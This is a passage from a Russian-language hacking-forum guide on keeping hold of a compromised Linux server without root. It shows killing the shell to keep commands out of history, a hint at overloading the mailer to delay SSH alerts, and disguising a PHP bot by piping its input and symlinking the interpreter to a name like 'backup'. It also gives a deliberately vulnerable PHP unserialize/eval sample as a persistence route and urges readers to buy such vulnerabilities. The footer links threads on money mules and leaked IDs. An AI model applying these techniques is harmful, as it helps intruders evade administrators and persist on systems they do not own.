Вы конечно можете указать в комментарии к ключу что-то вроде [email protected], и я даже знаком с ситуацией, когда владелец мыла сказал "да-да, это мой ключ, не удаляй плз". Но так везёт не часто =)

Я отношу данный метод к категории и-так-сойдёт. Так что если за безопасность сервера отвечает не полный идиот, долго такой закреп не продержится.

И конечно же когда вы пользуетесь SSH все ваши действия записываются в лог. С логом входов на сервер вы ничего не сможете сделать, если у вас нет привилегий рута. Но хотя бы работает наш фокус с убийством процесса, который мы опробовали на воркере апача. Только убивать нужно не sshd, а юзерский шелл, потому что именно он ведёт хистори:
Код:
[[email protected] ~]$ ps
PID TTY          TIME CMD
25273 pts/0    00:00:00 bash
25356 pts/0    00:00:00 ps
[[email protected] ~]$ kill -9 25273
Connection to example.com closed.
Так вы избегаете попадания ранее ввёденных команд в хистори. И по понятным причинам это лучше, чем редактировать файл истории.

Так же не забывайте, что админ может отслеживать все входы по SSH с уведомлением на мыло.

Хотя для ясности замечу, что в отдельных сферических-случаях-в-вакууме и при неправильной конфигурации сервера, в теории можно нагрузить системный мейлер так, чтобы отсрочить или избежать алерт. Но это просто к сведению.


И наконец маскировка под легитимный процесс.

Я не буду долго расписывать, как именно вам это сделать, потому что всё будет зависеть от конкретного случая, однако замечу вот что
Код:
[[email protected] ~]$ php bot.php &
[[email protected] ~]$ ps ax
PID TTY      STAT   TIME COMMAND
32459 pts/0    S+     0:00 php bot.php

[[email protected] ~]$ php < bot.php &
[[email protected] ~]$ ps ax
PID TTY      STAT   TIME COMMAND
32459 pts/0    S+     0:00 php

[[email protected] ~]$ ln -s /usr/bin/php /home/hackme/backup
[[email protected] ~]$ /home/hackme/backup < bot.php &
[[email protected] ~]$ ps ax
PID TTY      STAT   TIME COMMAND
460 pts/0    S+     0:00 /home/hackme/backup

Но! Даже в таком случае админ может вас обнаружить, особенно на почти голом сервере, потому что вы там как на ладони. И думаю вам понятно, что если процесс никто не прибьёт нарочно, то проживёт он максимум до следующей перезагрузки сервера.

К счатью часто бывает, что входные данные, которые поступили не из внешнего мира и к которым имеется повышенное доверие, не проверяются на зловредность, и это вам на руку. Таким образом если где-то во внутреннем коде сервера имеется уязвимость, позволяющая вам заинжектить свой код не из файла, а допустим из базы данных, вы можете проэксплуатировать её для закрепления:
PHP:
<?php

class ExploitMe
{
private $hook;

/* ... */

function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}

/* ... */

$row = mysql_fetch_row($result);

/* ... */

$internalData = unserialize($row["data"]); /* Exploit PHP object injection */

/* ... */

На мой взгляд это самый надёжный способ, когда у вас нет рутовых привилегий.

Возможно вам повезёт найти подобный баг в какой-то системной службе, и тогда вы получите универсальный метод закрепления, который достаточно сложно обнаружить. По крайней мере я рекомендую вам попробовать найти либо купить такую уязвимость. Такое вложение точно окупится, а вы будете чувствовать себя на сервере намного увереннее.


На этом всё. Пока!
 
Похожие темы
Support81 Взгляд изнутри: BlackBastaGPT раскрывает тактики и методы известной хакерской банды Новости в сети 0
Admin Google - взгляд из прокси Анонимность и приватность 0
O Я ищу работу. Мошенничество/афера, денежные мулы или другой бизнес в Турции Ищу работу. Предлагаю свои услуги. 3
G Как взять микрозайм на Яндекс.Деньги или другой способ без ввода CVC? Свободное общение 2
andre5787 Подскажите как зарегистрировать вайбер,телеграмм на другой номер Свободное общение 6
andre5787 Как зарегистрировать кошелек Qiwi из другой страны Свободное общение 0
C Смена IP на любой другой Полезные статьи 1
M Как перенести систему Windows на другой диск. Готовый софт 1
E Перенести мои документы и рабочий стол на другой диск Готовый софт 7
АнАлЬнАя ЧуПаКаБрА USA Drivers License обе стороны Раздачи и сливы 0
S Исполнение закона Яровой может повлечь крупные штрафы со стороны ЕС Новости в сети 0
Admin О соц инженерии и о том с какой стороны подходить к самому слабому звену. Полезные статьи 1

Название темы